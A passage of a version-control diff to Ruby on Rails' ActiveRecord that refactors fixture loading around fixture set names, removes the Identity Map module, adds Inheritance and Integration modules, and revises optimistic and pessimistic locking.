-        class_names[n.tr('/', '_').to_sym] = n.classify if n.include?('/')
-      }
+    def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {})
+      fixture_set_names = Array(fixture_set_names).map(&:to_s)
+      class_names = class_names.stringify_keys
 
       # FIXME: Apparently JK uses this.
       connection = block_given? ? yield : ActiveRecord::Base.connection
 
-      files_to_read = table_names.reject { |table_name|
-        fixture_is_cached?(connection, table_name)
+      files_to_read = fixture_set_names.reject { |fs_name|
+        fixture_is_cached?(connection, fs_name)
       }
 
       unless files_to_read.empty?
         connection.disable_referential_integrity do
           fixtures_map = {}
 
-          fixture_files = files_to_read.map do |path|
-            table_name = path.tr '/', '_'
-
-            fixtures_map[path] = ActiveRecord::Fixtures.new(
+          fixture_sets = files_to_read.map do |fs_name|
+            fixtures_map[fs_name] = new( # ActiveRecord::Fixtures.new
               connection,
-              table_name,
-              class_names[table_name.to_sym] || table_name.classify,
-              ::File.join(fixtures_directory, path))
+              fs_name,
+              class_names[fs_name] || default_fixture_model_name(fs_name),
+              ::File.join(fixtures_directory, fs_name))
           end
 
           all_loaded_fixtures.update(fixtures_map)
 
           connection.transaction(:requires_new => true) do
-            fixture_files.each do |ff|
-              conn = ff.model_class.respond_to?(:connection) ? ff.model_class.connection : connection
-              table_rows = ff.table_rows
+            fixture_sets.each do |fs|
+              conn = fs.model_class.respond_to?(:connection) ? fs.model_class.connection : connection
+              table_rows = fs.table_rows
 
               table_rows.keys.each do |table|
                 conn.delete "DELETE FROM #{conn.quote_table_name(table)}", 'Fixture Delete'
               end
 
-              table_rows.each do |table_name,rows|
+              table_rows.each do |fixture_set_name, rows|
                 rows.each do |row|
-                  conn.insert_fixture(row, table_name)
+                  conn.insert_fixture(row, fixture_set_name)
                 end
               end
             end
 
             # Cap primary key sequences to max(pk).
             if connection.respond_to?(:reset_pk_sequence!)
-              table_names.each do |table_name|
-                connection.reset_pk_sequence!(table_name.tr('/', '_'))
+              fixture_sets.each do |fs|
+                connection.reset_pk_sequence!(fs.table_name)
               end
             end
           end
@@ -498,7 +487,7 @@ module ActiveRecord
           cache_fixtures(connection, fixtures_map)
         end
       end
-      cached_fixtures(connection, table_names)
+      cached_fixtures(connection, fixture_set_names)
     end
 
     # Returns a consistent, platform-independent identifier for +label+.
@@ -509,25 +498,24 @@ module ActiveRecord
 
     attr_reader :table_name, :name, :fixtures, :model_class
 
-    def initialize(connection, table_name, class_name, fixture_path)
-      @connection   = connection
-      @table_name   = table_name
-      @fixture_path = fixture_path
-      @name         = table_name # preserve fixture base name
-      @class_name   = class_name
-
-      @fixtures     = ActiveSupport::OrderedHash.new
-      @table_name   = "#{ActiveRecord::Base.table_name_prefix}#{@table_name}#{ActiveRecord::Base.table_name_suffix}"
-
-      # Should be an AR::Base type class
-      if class_name.is_a?(Class)
-        @table_name   = class_name.table_name
-        @connection   = class_name.connection
-        @model_class  = class_name
+    def initialize(connection, name, class_name, path)
+      @fixtures = {} # Ordered hash
+      @name     = name
+      @path     = path
+
+      if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
+        @model_class = class_name
       else
-        @model_class  = class_name.constantize rescue nil
+        @model_class = class_name.constantize rescue nil
       end
 
+      @connection  = ( model_class.respond_to?(:connection) ?
+                       model_class.connection : connection )
+
+      @table_name = ( model_class.respond_to?(:table_name) ?
+                      model_class.table_name :
+                      self.class.default_fixture_table_name(name) )
+
       read_fixture_files
     end
 
@@ -562,11 +550,11 @@ module ActiveRecord
       rows[table_name] = fixtures.map do |label, fixture|
         row = fixture.to_hash
 
-        if model_class && model_class < ActiveRecord::Base
+        if model_class && model_class < ActiveRecord::Model
           # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
           if model_class.record_timestamps
-            timestamp_column_names.each do |name|
-              row[name] = now unless row.key?(name)
+            timestamp_column_names.each do |c_name|
+              row[c_name] = now unless row.key?(c_name)
             end
           end
 
@@ -605,7 +593,7 @@ module ActiveRecord
             when :has_and_belongs_to_many
               if (targets = row.delete(association.name.to_s))
                 targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
-                table_name = association.options[:join_table]
+                table_name = association.join_table
                 rows[table_name].concat targets.map { |target|
                   { association.foreign_key             => row[primary_key_name],
                     association.association_foreign_key => ActiveRecord::Fixtures.identify(target) }
@@ -644,34 +632,23 @@ module ActiveRecord
       end
 
       def read_fixture_files
-        if ::File.file?(yaml_file_path)
-          read_yaml_fixture_files
-        else
-          raise FixturesFileNotFound, "Could not find #{yaml_file_path}"
-        end
-      end
-
-      def read_yaml_fixture_files
-        yaml_files = Dir["#{@fixture_path}/**/*.yml"].select { |f|
+        yaml_files = Dir["#{@path}/**/*.yml"].select { |f|
           ::File.file?(f)
         } + [yaml_file_path]
 
         yaml_files.each do |file|
           Fixtures::File.open(file) do |fh|
-            fh.each do |name, row|
-              fixtures[name] = ActiveRecord::Fixture.new(row, model_class)
+            fh.each do |fixture_name, row|
+              fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
             end
           end
         end
       end
 
       def yaml_file_path
-        "#{@fixture_path}.yml"
+        "#{@path}.yml"
       end
 
-      def yaml_fixtures_key(path)
-        ::File.basename(@fixture_path).split(".").first
-      end
   end
 
   class Fixture #:nodoc:
@@ -726,7 +703,7 @@ module ActiveRecord
       class_attribute :fixture_table_names
       class_attribute :fixture_class_names
       class_attribute :use_transactional_fixtures
-      class_attribute :use_instantiated_fixtures   # true, false, or :no_instances
+      class_attribute :use_instantiated_fixtures # true, false, or :no_instances
       class_attribute :pre_loaded_fixtures
 
       self.fixture_table_names = []
@@ -734,27 +711,43 @@ module ActiveRecord
       self.use_instantiated_fixtures = false
       self.pre_loaded_fixtures = false
 
-      self.fixture_class_names = Hash.new do |h, table_name|
-        h[table_name] = ActiveRecord::Fixtures.find_table_name(table_name)
+      self.fixture_class_names = Hash.new do |h, fixture_set_name|
+        h[fixture_set_name] = ActiveRecord::Fixtures.default_fixture_model_name(fixture_set_name)
       end
     end
 
     module ClassMethods
+      # Sets the model class for a fixture when the class name cannot be inferred from the fixture name.
+      #
+      # Examples:
+      #
+      #   set_fixture_class :some_fixture        => SomeModel,
+      #                     'namespaced/fixture' => Another::Model
+      #
+      # The keys must be the fixture names, that coincide with the short paths to the fixture files.
+      #--
+      # It is also possible to pass the class name instead of the class:
+      #   set_fixture_class 'some_fixture' => 'SomeModel'
+      # I think this option is redundant, i propose to deprecate it.
+      # Isn't it easier to always pass the class itself?
+      # (2011-12-20 alexeymuranov)
+      #++
       def set_fixture_class(class_names = {})
-        self.fixture_class_names = self.fixture_class_names.merge(class_names)
+        self.fixture_class_names = self.fixture_class_names.merge(class_names.stringify_keys)
       end
 
-      def fixtures(*fixture_names)
-        if fixture_names.first == :all
-          fixture_names = Dir["#{fixture_path}/**/*.{yml}"]
-          fixture_names.map! { |f| f[(fixture_path.size + 1)..-5] }
+      def fixtures(*fixture_set_names)
+        if fixture_set_names.first == :all
+          fixture_set_names = Dir["#{fixture_path}/**/*.yml"].map { |f|
+            File.basename f, '.yml'
+          }
         else
-          fixture_names = fixture_names.flatten.map { |n| n.to_s }
+          fixture_set_names = fixture_set_names.flatten.map { |n| n.to_s }
         end
 
-        self.fixture_table_names |= fixture_names
-        require_fixture_classes(fixture_names)
-        setup_fixture_accessors(fixture_names)
+        self.fixture_table_names |= fixture_set_names
+        require_fixture_classes(fixture_set_names)
+        setup_fixture_accessors(fixture_set_names)
       end
 
       def try_to_load_dependency(file_name)
@@ -769,40 +762,45 @@ module ActiveRecord
         end
       end
 
-      def require_fixture_classes(fixture_names = nil)
-        (fixture_names || fixture_table_names).each do |fixture_name|
-          file_name = fixture_name.to_s
+      def require_fixture_classes(fixture_set_names = nil)
+        if fixture_set_names
+          fixture_set_names = fixture_set_names.map { |n| n.to_s }
+        else
+          fixture_set_names = fixture_table_names
+        end
+
+        fixture_set_names.each do |file_name|
           file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
           try_to_load_dependency(file_name)
         end
       end
 
-      def setup_fixture_accessors(fixture_names = nil)
-        fixture_names = Array.wrap(fixture_names || fixture_table_names)
+      def setup_fixture_accessors(fixture_set_names = nil)
+        fixture_set_names = Array(fixture_set_names || fixture_table_names)
         methods = Module.new do
-          fixture_names.each do |fixture_name|
-            fixture_name = fixture_name.to_s.tr('./', '_')
+          fixture_set_names.each do |fs_name|
+            fs_name = fs_name.to_s
+            accessor_name = fs_name.tr('/', '_').to_sym
 
-            define_method(fixture_name) do |*fixtures|
-              force_reload = fixtures.pop if fixtures.last == true || fixtures.last == :reload
+            define_method(accessor_name) do |*fixture_names|
+              force_reload = fixture_names.pop if fixture_names.last == true || fixture_names.last == :reload
 
-              @fixture_cache[fixture_name] ||= {}
+              @fixture_cache[fs_name] ||= {}
 
-              instances = fixtures.map do |fixture|
-                @fixture_cache[fixture_name].delete(fixture) if force_reload
+              instances = fixture_names.map do |f_name|
+                f_name = f_name.to_s
+                @fixture_cache[fs_name].delete(f_name) if force_reload
 
-                if @loaded_fixtures[fixture_name][fixture.to_s]
-                  ActiveRecord::IdentityMap.without do
-                    @fixture_cache[fixture_name][fixture] ||= @loaded_fixtures[fixture_name][fixture.to_s].find
-                  end
+                if @loaded_fixtures[fs_name][f_name]
+                  @fixture_cache[fs_name][f_name] ||= @loaded_fixtures[fs_name][f_name].find
                 else
-                  raise StandardError, "No fixture with name '#{fixture}' found for table '#{fixture_name}'"
+                  raise StandardError, "No fixture named '#{f_name}' found for fixture set '#{fs_name}'"
                 end
               end
 
               instances.size == 1 ? instances.first : instances
             end
-            private fixture_name
+            private accessor_name
           end
         end
         include methods
@@ -825,13 +823,14 @@ module ActiveRecord
     end
 
     def setup_fixtures
-      return unless !ActiveRecord::Base.configurations.blank?
+      return if ActiveRecord::Base.configurations.blank?
 
       if pre_loaded_fixtures && !use_transactional_fixtures
         raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
       end
 
       @fixture_cache = {}
+      @fixture_connections = []
       @@already_loaded_fixtures ||= {}
 
       # Load fixtures once and begin transaction.
@@ -902,8 +901,8 @@ module ActiveRecord
           ActiveRecord::Fixtures.instantiate_all_loaded_fixtures(self, load_instances?)
         else
           raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
-          @loaded_fixtures.each do |fixture_name, fixtures|
-            ActiveRecord::Fixtures.instantiate_fixtures(self, fixture_name, fixtures, load_instances?)
+          @loaded_fixtures.each_value do |fixture_set|
+            ActiveRecord::Fixtures.instantiate_fixtures(self, fixture_set, load_instances?)
           end
         end
       end
diff --git a/activerecord/lib/active_record/fixtures/file.rb b/activerecord/lib/active_record/fixtures/file.rb
index 6bad36abb9..a9cabf5a7b 100644
--- a/activerecord/lib/active_record/fixtures/file.rb
+++ b/activerecord/lib/active_record/fixtures/file.rb
@@ -1,8 +1,3 @@
-begin
-  require 'psych'
-rescue LoadError
-end
-
 require 'erb'
 require 'yaml'
 
@@ -29,37 +24,33 @@ module ActiveRecord
         rows.each(&block)
       end
 
-      RESCUE_ERRORS = [ ArgumentError ] # :nodoc:
+      RESCUE_ERRORS = [ ArgumentError, Psych::SyntaxError ] # :nodoc:
 
       private
-      if defined?(Psych) && defined?(Psych::SyntaxError)
-        RESCUE_ERRORS << Psych::SyntaxError
-      end
-
-      def rows
-        return @rows if @rows
+        def rows
+          return @rows if @rows
+
+          begin
+            data = YAML.load(render(IO.read(@file)))
+          rescue *RESCUE_ERRORS => error
+            raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n  #{error.class}: #{error}", error.backtrace
+          end
+          @rows = data ? validate(data).to_a : []
+        end
 
-        begin
-          data = YAML.load(render(IO.read(@file)))
-        rescue *RESCUE_ERRORS => error
-          raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n  #{error.class}: #{error}", error.backtrace
+        def render(content)
+          ERB.new(content).result
         end
-        @rows = data ? validate(data).to_a : []
-      end
 
-      def render(content)
-        ERB.new(content).result
-      end
+        # Validate our unmarshalled data.
+        def validate(data)
+          unless Hash === data || YAML::Omap === data
+            raise Fixture::FormatError, 'fixture is not a hash'
+          end
 
-      # Validate our unmarshalled data.
-      def validate(data)
-        unless Hash === data || YAML::Omap === data
-          raise Fixture::FormatError, 'fixture is not a hash'
+          raise Fixture::FormatError unless data.all? { |name, row| Hash === row }
+          data
         end
-
-        raise Fixture::FormatError unless data.all? { |name, row| Hash === row }
-        data
-      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/identity_map.rb b/activerecord/lib/active_record/identity_map.rb
deleted file mode 100644
index b15b5a8133..0000000000
--- a/activerecord/lib/active_record/identity_map.rb
+++ /dev/null
@@ -1,157 +0,0 @@
-module ActiveRecord
-  # = Active Record Identity Map
-  #
-  # Ensures that each object gets loaded only once by keeping every loaded
-  # object in a map. Looks up objects using the map when referring to them.
-  #
-  # More information on Identity Map pattern:
-  #   http://www.martinfowler.com/eaaCatalog/identityMap.html
-  #
-  # == Configuration
-  #
-  # In order to enable IdentityMap, set <tt>config.active_record.identity_map = true</tt>
-  # in your <tt>config/application.rb</tt> file.
-  #
-  # IdentityMap is disabled by default and still in development (i.e. use it with care).
-  #
-  # == Associations
-  #
-  # Active Record Identity Map does not track associations yet. For example:
-  #
-  #   comment = @post.comments.first
-  #   comment.post = nil
-  #   @post.comments.include?(comment) #=> true
-  #
-  # Ideally, the example above would return false, removing the comment object from the
-  # post association when the association is nullified. This may cause side effects, as
-  # in the situation below, if Identity Map is enabled:
-  #
-  #   Post.has_many :comments, :dependent => :destroy
-  #
-  #   comment = @post.comments.first
-  #   comment.post = nil
-  #   comment.save
-  #   Post.destroy(@post.id)
-  #
-  # Without using Identity Map, the code above will destroy the @post object leaving
-  # the comment object intact. However, once we enable Identity Map, the post loaded
-  # by Post.destroy is exactly the same object as the object @post. As the object @post
-  # still has the comment object in @post.comments, once Identity Map is enabled, the
-  # comment object will be accidently removed.
-  #
-  # This inconsistency is meant to be fixed in future Rails releases.
-  #
-  module IdentityMap
-
-    class << self
-      def enabled=(flag)
-        Thread.current[:identity_map_enabled] = flag
-      end
-
-      def enabled
-        Thread.current[:identity_map_enabled]
-      end
-      alias enabled? enabled
-
-      def repository
-        Thread.current[:identity_map] ||= Hash.new { |h,k| h[k] = {} }
-      end
-
-      def use
-        old, self.enabled = enabled, true
-
-        yield if block_given?
-      ensure
-        self.enabled = old
-        clear
-      end
-
-      def without
-        old, self.enabled = enabled, false
-
-        yield if block_given?
-      ensure
-        self.enabled = old
-      end
-
-      def get(klass, primary_key)
-        record = repository[klass.symbolized_sti_name][primary_key]
-
-        if record.is_a?(klass)
-          ActiveSupport::Notifications.instrument("identity.active_record",
-            :line => "From Identity Map (id: #{primary_key})",
-            :name => "#{klass} Loaded",
-            :connection_id => object_id)
-
-          record
-        else
-          nil
-        end
-      end
-
-      def add(record)
-        repository[record.class.symbolized_sti_name][record.id] = record
-      end
-
-      def remove(record)
-        repository[record.class.symbolized_sti_name].delete(record.id)
-      end
-
-      def remove_by_id(symbolized_sti_name, id)
-        repository[symbolized_sti_name].delete(id)
-      end
-
-      def clear
-        repository.clear
-      end
-    end
-
-    # Reinitialize an Identity Map model object from +coder+.
-    # +coder+ must contain the attributes necessary for initializing an empty
-    # model object.
-    def reinit_with(coder)
-      @attributes_cache = {}
-      dirty = @changed_attributes.keys
-      @attributes.update(coder['attributes'].except(*dirty))
-      @changed_attributes.update(coder['attributes'].slice(*dirty))
-      @changed_attributes.delete_if{|k,v| v.eql? @attributes[k]}
-
-      set_serialized_attributes
-
-      run_callbacks :find
-
-      self
-    end
-
-    class Middleware
-      class Body #:nodoc:
-        def initialize(target, original)
-          @target   = target
-          @original = original
-        end
-
-        def each(&block)
-          @target.each(&block)
-        end
-
-        def close
-          @target.close if @target.respond_to?(:close)
-        ensure
-          IdentityMap.enabled = @original
-          IdentityMap.clear
-        end
-      end
-
-      def initialize(app)
-        @app = app
-      end
-
-      def call(env)
-        enabled = IdentityMap.enabled
-        IdentityMap.enabled = true
-        status, headers, body = @app.call(env)
-        [status, headers, Body.new(body, enabled)]
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
new file mode 100644
index 0000000000..04fff99a6e
--- /dev/null
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -0,0 +1,181 @@
+
+module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    # Determine whether to store the full constant name including namespace when using STI
+    mattr_accessor :store_full_sti_class, instance_accessor: false
+    self.store_full_sti_class = true
+  end
+
+  module Inheritance
+    extend ActiveSupport::Concern
+
+    included do
+      config_attribute :store_full_sti_class
+    end
+
+    module ClassMethods
+      # True if this isn't a concrete subclass needing a STI type condition.
+      def descends_from_active_record?
+        sup = active_record_super
+
+        if sup.abstract_class?
+          sup.descends_from_active_record?
+        elsif self == Base
+          false
+        else
+          [Base, Model].include?(sup) || !columns_hash.include?(inheritance_column)
+        end
+      end
+
+      def finder_needs_type_condition? #:nodoc:
+        # This is like this because benchmarking justifies the strange :false stuff
+        :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
+      end
+
+      def symbolized_base_class
+        @symbolized_base_class ||= base_class.to_s.to_sym
+      end
+
+      def symbolized_sti_name
+        @symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
+      end
+
+      # Returns the class descending directly from ActiveRecord::Base (or
+      # that includes ActiveRecord::Model), or an  abstract class, if any, in
+      # the inheritance hierarchy.
+      #
+      # If A extends AR::Base, A.base_class will return A. If B descends from A
+      # through some arbitrarily deep hierarchy, B.base_class will return A.
+      #
+      # If B < A and C < B and if A is an abstract_class then both B.base_class
+      # and C.base_class would return B as the answer since A is an abstract_class.
+      def base_class
+        unless self < Model::Tag
+          raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
+        end
+
+        sup = active_record_super
+        if sup == Base || sup == Model || sup.abstract_class?
+          self
+        else
+          sup.base_class
+        end
+      end
+
+      # Set this to true if this is an abstract class (see <tt>abstract_class?</tt>).
+      # If you are using inheritance with ActiveRecord and don't want child classes
+      # to utilize the implied STI table name of the parent class, this will need to be true.
+      # For example, given the following:
+      #
+      #   class SuperClass < ActiveRecord::Base
+      #     self.abstract_class = true
+      #   end
+      #   class Child < SuperClass
+      #     self.table_name = 'the_table_i_really_want'
+      #   end
+      # 
+      #
+      # <tt>self.abstract_class = true</tt> is required to make <tt>Child<.find,.create, or any Arel method></tt> use <tt>the_table_i_really_want</tt> instead of a table called <tt>super_classes</tt>
+      #
+      attr_accessor :abstract_class
+
+      # Returns whether this class is an abstract class or not.
+      def abstract_class?
+        defined?(@abstract_class) && @abstract_class == true
+      end
+
+      def sti_name
+        store_full_sti_class ? name : name.demodulize
+      end
+
+      # Finder methods must instantiate through this method to work with the
+      # single-table inheritance model that makes it possible to create
+      # objects of different types from the same table.
+      def instantiate(record, column_types = {})
+        sti_class    = find_sti_class(record[inheritance_column])
+        column_types = sti_class.decorate_columns(column_types)
+        sti_class.allocate.init_with('attributes' => record, 'column_types' => column_types)
+      end
+
+      # For internal use.
+      #
+      # If this class includes ActiveRecord::Model then it won't have a
+      # superclass. So this provides a way to get to the 'root' (ActiveRecord::Model).
+      def active_record_super #:nodoc:
+        superclass < Model ? superclass : Model
+      end
+
+      protected
+
+      # Returns the class type of the record using the current module as a prefix. So descendants of
+      # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
+      def compute_type(type_name)
+        if type_name.match(/^::/)
+          # If the type is prefixed with a scope operator then we assume that
+          # the type_name is an absolute reference.
+          ActiveSupport::Dependencies.constantize(type_name)
+        else
+          # Build a list of candidates to search for
+          candidates = []
+          name.scan(/::|$/) { candidates.unshift "#{$`}::#{type_name}" }
+          candidates << type_name
+
+          candidates.each do |candidate|
+            begin
+              constant = ActiveSupport::Dependencies.constantize(candidate)
+              return constant if candidate == constant.to_s
+            rescue NameError => e
+              # We don't want to swallow NoMethodError < NameError errors
+              raise e unless e.instance_of?(NameError)
+            end
+          end
+
+          raise NameError, "uninitialized constant #{candidates.first}"
+        end
+      end
+
+      private
+
+      def find_sti_class(type_name)
+        if type_name.blank? || !columns_hash.include?(inheritance_column)
+          self
+        else
+          begin
+            if store_full_sti_class
+              ActiveSupport::Dependencies.constantize(type_name)
+            else
+              compute_type(type_name)
+            end
+          rescue NameError
+            raise SubclassNotFound,
+              "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " +
+              "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " +
+              "Please rename this column if you didn't intend it to be used for storing the inheritance class " +
+              "or overwrite #{name}.inheritance_column to use another column for that information."
+          end
+        end
+      end
+
+      def type_condition(table = arel_table)
+        sti_column = table[inheritance_column.to_sym]
+        sti_names  = ([self] + descendants).map { |model| model.sti_name }
+
+        sti_column.in(sti_names)
+      end
+    end
+
+    private
+
+    # Sets the attribute used for single table inheritance to this class name if this is not the
+    # ActiveRecord::Base descendant.
+    # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
+    # do Reply.new without having to set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself.
+    # No such attribute would be set for objects of the Message class in that example.
+    def ensure_proper_type
+      klass = self.class
+      if klass.finder_needs_type_condition?
+        write_attribute(klass.inheritance_column, klass.sti_name)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
new file mode 100644
index 0000000000..23c272ef12
--- /dev/null
+++ b/activerecord/lib/active_record/integration.rb
@@ -0,0 +1,49 @@
+module ActiveRecord
+  module Integration
+    # Returns a String, which Action Pack uses for constructing an URL to this
+    # object. The default implementation returns this record's id as a String,
+    # or nil if this record's unsaved.
+    #
+    # For example, suppose that you have a User model, and that you have a
+    # <tt>resources :users</tt> route. Normally, +user_path+ will
+    # construct a path with the user object's 'id' in it:
+    #
+    #   user = User.find_by_name('Phusion')
+    #   user_path(user)  # => "/users/1"
+    #
+    # You can override +to_param+ in your model to make +user_path+ construct
+    # a path using the user's name instead of the user's id:
+    #
+    #   class User < ActiveRecord::Base
+    #     def to_param  # overridden
+    #       name
+    #     end
+    #   end
+    #
+    #   user = User.find_by_name('Phusion')
+    #   user_path(user)  # => "/users/Phusion"
+    def to_param
+      # We can't use alias_method here, because method 'id' optimizes itself on the fly.
+      id && id.to_s # Be sure to stringify the id for routes
+    end
+
+    # Returns a cache key that can be used to identify this record.
+    #
+    # ==== Examples
+    #
+    #   Product.new.cache_key     # => "products/new"
+    #   Product.find(5).cache_key # => "products/5" (updated_at not available)
+    #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
+    def cache_key
+      case
+      when new_record?
+        "#{self.class.model_name.cache_key}/new"
+      when timestamp = self[:updated_at]
+        timestamp = timestamp.utc.to_s(:nsec)
+        "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
+      else
+        "#{self.class.model_name.cache_key}/#{id}"
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/locale/en.yml b/activerecord/lib/active_record/locale/en.yml
index 44328f63b6..896132d566 100644
--- a/activerecord/lib/active_record/locale/en.yml
+++ b/activerecord/lib/active_record/locale/en.yml
@@ -10,6 +10,9 @@ en:
       messages:
         taken: "has already been taken"
         record_invalid: "Validation failed: %{errors}"
+        restrict_dependent_destroy:
+          one: "Cannot delete record because a dependent %{record} exists"
+          many: "Cannot delete record because dependent %{record} exist"
         # Append your own errors here or at the model/attributes scope.
 
       # You can define own errors for models or model attributes.
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index 1a29ded787..e96ed00f9c 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -1,4 +1,9 @@
 module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :lock_optimistically, instance_accessor: false
+    self.lock_optimistically = true
+  end
+
   module Locking
     # == What is Optimistic Locking
     #
@@ -40,21 +45,18 @@ module ActiveRecord
     # This locking mechanism will function inside a single Ruby process. To make it work across all
     # web requests, the recommended approach is to add +lock_version+ as a hidden field to your form.
     #
-    # You must ensure that your database schema defaults the +lock_version+ column to 0.
-    #
     # This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
-    # To override the name of the +lock_version+ column, invoke the <tt>set_locking_column</tt> method.
-    # This method uses the same syntax as <tt>set_table_name</tt>
+    # To override the name of the +lock_version+ column, set the <tt>locking_column</tt> class attribute:
+    #
+    #   class Person < ActiveRecord::Base
+    #     self.locking_column = :lock_person
+    #   end
+    #
     module Optimistic
       extend ActiveSupport::Concern
 
       included do
-        cattr_accessor :lock_optimistically, :instance_writer => false
-        self.lock_optimistically = true
-
-        class << self
-          alias_method :locking_column=, :set_locking_column
-        end
+        config_attribute :lock_optimistically
       end
 
       def locking_enabled? #:nodoc:
@@ -68,21 +70,6 @@ module ActiveRecord
           send(lock_col + '=', previous_lock_value + 1)
         end
 
-        def attributes_from_column_definition
-          result = super
-
-          # If the locking column has no default value set,
-          # start the lock version at zero. Note we can't use
-          # <tt>locking_enabled?</tt> at this point as
-          # <tt>@attributes</tt> may not have been initialized yet.
-
-          if result.key?(self.class.locking_column) && lock_optimistically
-            result[self.class.locking_column] ||= 0
-          end
-
-          result
-        end
-
         def update(attribute_names = @attributes.keys) #:nodoc:
           return super unless locking_enabled?
           return 0 if attribute_names.empty?
@@ -99,9 +86,9 @@ module ActiveRecord
 
             stmt = relation.where(
               relation.table[self.class.primary_key].eq(id).and(
-                relation.table[lock_col].eq(quote_value(previous_lock_value))
+                relation.table[lock_col].eq(self.class.quote_value(previous_lock_value))
               )
-            ).arel.compile_update(arel_attributes_values(false, false, attribute_names))
+            ).arel.compile_update(arel_attributes_with_values_for_update(attribute_names))
 
             affected_rows = connection.update stmt
 
@@ -118,24 +105,29 @@ module ActiveRecord
           end
         end
 
-        def destroy #:nodoc:
-          return super unless locking_enabled?
+        def destroy_row
+          affected_rows = super
 
-          if persisted?
-            table = self.class.arel_table
-            lock_col = self.class.locking_column
-            predicate = table[self.class.primary_key].eq(id).
-              and(table[lock_col].eq(send(lock_col).to_i))
+          if locking_enabled? && affected_rows != 1
+            raise ActiveRecord::StaleObjectError.new(self, "destroy")
+          end
 
-            affected_rows = self.class.unscoped.where(predicate).delete_all
+          affected_rows
+        end
 
-            unless affected_rows == 1
-              raise ActiveRecord::StaleObjectError.new(self, "destroy")
-            end
+        def relation_for_destroy
+          relation = super
+
+          if locking_enabled?
+            column_name = self.class.locking_column
+            column      = self.class.columns_hash[column_name]
+            substitute  = connection.substitute_at(column, relation.bind_values.length)
+
+            relation = relation.where(self.class.arel_table[column_name].eq(substitute))
+            relation.bind_values << [column, self[column_name].to_i]
           end
 
-          @destroyed = true
-          freeze
+          relation
         end
 
       module ClassMethods
@@ -149,14 +141,14 @@ module ActiveRecord
         end
 
         # Set the column to use for optimistic locking. Defaults to +lock_version+.
-        def set_locking_column(value = nil, &block)
-          define_attr_method :locking_column, value, &block
-          value
+        def locking_column=(value)
+          @locking_column = value.to_s
         end
 
         # The version column used for optimistic locking. Defaults to +lock_version+.
         def locking_column
-          reset_locking_column
+          reset_locking_column unless defined?(@locking_column)
+          @locking_column
         end
 
         # Quote the column name used for optimistic locking.
@@ -166,7 +158,7 @@ module ActiveRecord
 
         # Reset the column used for optimistic locking back to the +lock_version+ default.
         def reset_locking_column
-          set_locking_column DEFAULT_LOCKING_COLUMN
+          self.locking_column = DEFAULT_LOCKING_COLUMN
         end
 
         # Make sure the lock version column gets updated when counters are
@@ -175,6 +167,18 @@ module ActiveRecord
           counters = counters.merge(locking_column => 1) if locking_enabled?
           super
         end
+
+        def column_defaults
+          @column_defaults ||= begin
+            defaults = super
+
+            if defaults.key?(locking_column) && lock_optimistically
+              defaults[locking_column] ||= 0
+            end
+
+            defaults
+          end
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
index 66994e4797..58af92f0b1 100644
--- a/activerecord/lib/active_record/locking/pessimistic.rb
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -38,6 +38,18 @@ module ActiveRecord
     #     account2.save!
     #   end
     #
+    # You can start a transaction and acquire the lock in one go by calling
+    # <tt>with_lock</tt> with a block. The block is called from within
+    # a transaction, the object is already locked. Example:
+    #
+    #   account = Account.first
+    #   account.with_lock do
+    #     # This block is called within a transaction,
+    #     # account is already locked.
+    #     account.balance -= 100
+    #     account.save!
+    #   end
+    #
     # Database-specific information on row locking:
     #   MySQL: http://dev.mysql.com/doc/refman/5.1/en/innodb-locking-reads.html
     #   PostgreSQL: http://www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE
@@ -50,6 +62,16 @@ module ActiveRecord
         reload(:lock => lock) if persisted?
         self
       end
+
+      # Wraps the passed block in a transaction, locking the object
+      # before yielding. You pass can the SQL locking clause
+      # as argument (see <tt>lock!</tt>).
+      def with_lock(lock = true)
+        transaction do
+          lock!(lock)
+          yield
+        end
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
index 3a015ee8c2..a25f2c7bca 100644
--- a/activerecord/lib/active_record/log_subscriber.rb
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -26,9 +26,9 @@ module ActiveRecord
